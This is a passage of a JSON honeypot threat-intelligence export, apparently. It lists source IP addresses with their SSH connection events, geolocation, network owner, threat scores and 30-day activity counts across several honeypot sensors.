      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1228,
        "days_active_30d": 1,
        "ports_targeted_30d": 129,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-27T14:52:03+00:00",
        "last_seen_30d": "2026-04-27T15:39:21.958000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 803,
        "Honeytrap": 341,
        "Dionaea": 25,
        "Miniprint": 15,
        "Ciscoasa": 6,
        "ConPot": 6,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Ipphoney": 5,
        "Redishoneypot": 5,
        "Tanner": 5,
        "Cowrie": 4,
        "Sentrypeer": 2,
        "ElasticPot": 1
      }
    },
    "198.235.24.176": {
      "attack_count": 4,
      "first_seen": "2026-04-12T10:39:20.156Z",
      "last_seen": "2026-04-12T10:39:24.034Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 71.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 26,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T22:31:18+00:00",
        "last_seen_30d": "2026-04-28T21:31:21.535000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 28,
        "Cowrie": 4
      }
    },
    "34.203.224.37": {
      "attack_count": 4,
      "first_seen": "2026-04-11T01:00:04.369Z",
      "last_seen": "2026-04-11T01:00:11.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 38.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 13.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 16,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-11T01:00:04.369000+00:00",
        "last_seen_30d": "2026-04-26T00:59:14.757000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "45.230.103.119": {
      "attack_count": 4,
      "first_seen": "2026-04-28T10:22:38.585Z",
      "last_seen": "2026-04-28T10:24:41.092Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 267178,
      "as_org": "UNO INTERNET LTDA",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:22:38.585000+00:00",
        "last_seen_30d": "2026-04-28T10:26:18.220000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "61.52.115.157": {
      "attack_count": 4,
      "first_seen": "2026-04-03T13:39:59.328Z",
      "last_seen": "2026-04-03T13:40:24.748Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T13:39:59.328000+00:00",
        "last_seen_30d": "2026-04-03T13:41:29.219000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.183": {
      "attack_count": 4,
      "first_seen": "2026-04-18T09:34:47.710Z",
      "last_seen": "2026-04-18T09:35:03.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T09:05:49+00:00",
        "last_seen_30d": "2026-04-30T18:13:04.875000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 51,
        "Cowrie": 4,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "86.194.247.190": {
      "attack_count": 4,
      "first_seen": "2026-04-29T09:25:34.178Z",
      "last_seen": "2026-04-29T09:25:39.480Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lyon",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T09:25:34.178000+00:00",
        "last_seen_30d": "2026-04-29T09:26:47.316000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "104.152.52.112": {
      "attack_count": 3,
      "first_seen": "2026-04-01T04:14:15.110Z",
      "last_seen": "2026-04-01T04:14:15.112Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 67.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 25,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 30,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:14:15.110000+00:00",
        "last_seen_30d": "2026-04-30T06:41:53.506000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Dionaea": 4,
        "Cowrie": 3,
        "Mailoney": 3
      }
    },
    "106.75.230.113": {
      "attack_count": 3,
      "first_seen": "2026-04-26T01:07:32.304Z",
      "last_seen": "2026-04-26T01:09:32.318Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T01:07:32.304000+00:00",
        "last_seen_30d": "2026-04-26T01:20:23.846000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "123.60.211.248": {
      "attack_count": 3,
      "first_seen": "2026-04-06T19:58:11.322Z",
      "last_seen": "2026-04-06T19:59:12.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T19:58:11.322000+00:00",
        "last_seen_30d": "2026-04-07T12:26:29.122000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "45.235.124.247": {
      "attack_count": 3,
      "first_seen": "2026-04-25T15:17:45.723Z",
      "last_seen": "2026-04-25T15:18:48.517Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 268196,
      "as_org": "LINKNET SOLUCOES EM TELECOMUNICACOES LTDA",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T15:17:45.723000+00:00",
        "last_seen_30d": "2026-04-25T15:19:55.897000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "103.49.203.91": {
      "attack_count": 2,
      "first_seen": "2026-04-29T12:51:09.393Z",
      "last_seen": "2026-04-29T12:51:21.790Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 133957,
      "as_org": "SOL",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T12:51:09.393000+00:00",
        "last_seen_30d": "2026-04-29T12:52:22.083000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.96.114.210": {
      "attack_count": 2,
      "first_seen": "2026-04-05T01:52:27.684Z",
      "last_seen": "2026-04-05T01:52:41.604Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kolkata",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:52:27.684000+00:00",
        "last_seen_30d": "2026-04-05T01:53:48.790000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.164.156.41": {
      "attack_count": 2,
      "first_seen": "2026-04-23T06:25:01.452Z",
      "last_seen": "2026-04-23T06:25:32.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56045,
      "as_org": "China Mobile communications corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T06:25:01.452000+00:00",
        "last_seen_30d": "2026-04-23T06:26:38.951000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.161.149.104": {
      "attack_count": 2,
      "first_seen": "2026-04-28T12:47:34.750Z",
      "last_seen": "2026-04-28T12:47:47.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T12:47:34.750000+00:00",
        "last_seen_30d": "2026-04-28T12:48:54.413000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.252.126.2": {
      "attack_count": 2,
      "first_seen": "2026-04-18T05:52:26.688Z",
      "last_seen": "2026-04-18T05:52:42.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suncheon-si",
      "asn": 18318,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T05:52:26.688000+00:00",
        "last_seen_30d": "2026-04-18T05:53:49.046000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.36.187.5": {
      "attack_count": 2,
      "first_seen": "2026-04-06T15:59:08.196Z",
      "last_seen": "2026-04-06T15:59:21.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T15:59:08.196000+00:00",
        "last_seen_30d": "2026-04-06T16:00:28.709000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.45.42.137": {
      "attack_count": 2,
      "first_seen": "2026-04-21T19:49:39.958Z",
      "last_seen": "2026-04-21T19:50:11.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 210644,
      "as_org": "Aeza Group LLC",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:49:39.958000+00:00",
        "last_seen_30d": "2026-04-21T19:51:13.852000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.206.200.173": {
      "attack_count": 2,
      "first_seen": "2026-04-29T15:15:14.007Z",
      "last_seen": "2026-04-29T15:15:26.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Beirut",
      "asn": 43019,
      "as_org": "Farah Net S.a.r.l.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T15:15:14.007000+00:00",
        "last_seen_30d": "2026-04-29T15:16:26.983000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.189.184.180": {
      "attack_count": 2,
      "first_seen": "2026-04-28T19:50:18.174Z",
      "last_seen": "2026-04-28T19:52:18.266Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:50:18.174000+00:00",
        "last_seen_30d": "2026-04-28T20:03:02.208000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "202.70.139.98": {
      "attack_count": 2,
      "first_seen": "2026-04-10T03:21:29.630Z",
      "last_seen": "2026-04-10T03:21:42.057Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T03:21:29.630000+00:00",
        "last_seen_30d": "2026-04-10T03:22:52.203000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.135": {
      "attack_count": 2,
      "first_seen": "2026-04-15T20:58:06.872Z",
      "last_seen": "2026-04-15T20:58:07.189Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 71.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 27,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:11:17+00:00",
        "last_seen_30d": "2026-04-27T01:16:23.933000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 12,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "210.57.229.52": {
      "attack_count": 2,
      "first_seen": "2026-04-08T13:53:43.827Z",
      "last_seen": "2026-04-08T13:53:57.727Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9762,
      "as_org": "kt HCN Co.,Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T13:53:43.827000+00:00",
        "last_seen_30d": "2026-04-08T13:55:06.996000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.135.226.87": {
      "attack_count": 2,
      "first_seen": "2026-04-05T13:09:35.685Z",
      "last_seen": "2026-04-05T13:09:51.795Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taoyuan District",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T13:09:35.685000+00:00",
        "last_seen_30d": "2026-04-05T13:10:57.022000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.234.202.117": {
      "attack_count": 2,
      "first_seen": "2026-04-10T06:37:35.230Z",
      "last_seen": "2026-04-10T06:38:12.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T06:37:35.230000+00:00",
        "last_seen_30d": "2026-04-29T23:50:45.536000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "24.83.60.18": {
      "attack_count": 2,
      "first_seen": "2026-04-04T12:21:36.622Z",
      "last_seen": "2026-04-04T12:21:49.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Surrey",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T12:21:36.622000+00:00",
        "last_seen_30d": "2026-04-04T12:22:53.877000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.134.86.182": {
      "attack_count": 2,
      "first_seen": "2026-04-26T00:11:42.505Z",
      "last_seen": "2026-04-26T00:12:13.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hachinohe",
      "asn": 10013,
      "as_org": "FreeBit Co.,Ltd.",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T00:11:42.505000+00:00",
        "last_seen_30d": "2026-04-26T00:13:15.627000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "35.203.210.175": {
      "attack_count": 2,
      "first_seen": "2026-04-05T04:59:32.113Z",
      "last_seen": "2026-04-05T04:59:41.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 68.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 27,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T02:20:03+00:00",
        "last_seen_30d": "2026-04-28T22:24:00.786000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 12,
        "Cowrie": 2
      }
    },
    "37.127.102.52": {
      "attack_count": 2,
      "first_seen": "2026-04-30T22:35:33.139Z",
      "last_seen": "2026-04-30T22:35:46.368Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Abha",
      "asn": 35819,
